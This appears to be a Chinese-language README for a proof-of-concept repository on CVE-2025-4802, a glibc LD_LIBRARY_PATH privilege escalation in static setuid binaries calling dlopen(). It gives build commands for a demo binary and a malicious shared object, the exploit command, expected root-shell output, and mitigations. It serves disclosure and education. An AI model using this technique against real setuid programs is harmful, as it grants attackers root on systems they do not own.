⚠️ 免责声明: 本仓库仅供教育和授权安全研究目的使用。 请勿对您不拥有或未获得明确测试许可的系统使用此漏洞利用程序。滥用可能违反法律法规。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-4802 |
| 受影响软件 | GNU C 库(glibc) |
| 受影响版本 | 2.27 – 2.38 |
| 漏洞类型 | 通过不可信的 LD_LIBRARY_PATH 进行权限提升 |
| 攻击向量 | 本地 |
GNU C 库(glibc)2.27 至 2.38 版本中存在一个漏洞,允许攻击者在调用 dlopen() 的静态编译的 setuid 二进制文件中利用 LD_LIBRARY_PATH 环境变量。
通常情况下,动态链接器会为 setuid 程序清理 LD_LIBRARY_PATH。然而,静态编译的二进制文件完全绕过了动态链接器,因此 LD_LIBRARY_PATH 从未被清除。当此类二进制文件调用 dlopen()(直接调用,或通过 setlocale() 或 getaddrinfo() 等 NSS 函数间接调用)时,glibc 会使用攻击者控制的 LD_LIBRARY_PATH 来解析共享库,从而以提升的权限实现任意代码执行。
dlopen("myso.so", ...) 按名称(而非绝对路径)加载共享对象。ld-linux.so)永远不会运行,因此 LD_LIBRARY_PATH 不会被清理。myso.so),它导出相同的 hello() 符号,但会生成一个 root shell。LD_LIBRARY_PATH 指向包含恶意库的目录。.
├── main.c # 存在漏洞的 setuid 二进制文件源码
├── myso.c # 合法的共享对象(安全)
├── evil_library/
│ └── evilso.c # 恶意共享对象(生成 root shell)
├── proof_of_concept_screenshot.png # 漏洞利用的终端截图
├── proof_of_concept_video.mp4 # 视频演示
├── Makefile # 构建自动化
└── README.md
ldd --version 检查)gcc、makemake all
或手动执行:
# 构建合法的共享对象
gcc -shared -o myso.so -fPIC myso.c
# 构建存在漏洞的二进制文件(静态链接)
gcc -static -o main main.c -ldl
# 构建恶意共享对象
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
预期输出:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH(恶意行为)LD_LIBRARY_PATH=./evil_library ./main
预期输出:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
该二进制文件从 evil_library/ 加载攻击者的 myso.so 而非合法库,从而生成一个 root shell。

还提供视频演示:proof_of_concept_video.mp4
dlopen() 的 setuid 二进制文件,避免静态链接dlopen() 调用中使用绝对路径而非裸库名dlopen() 之前放弃权限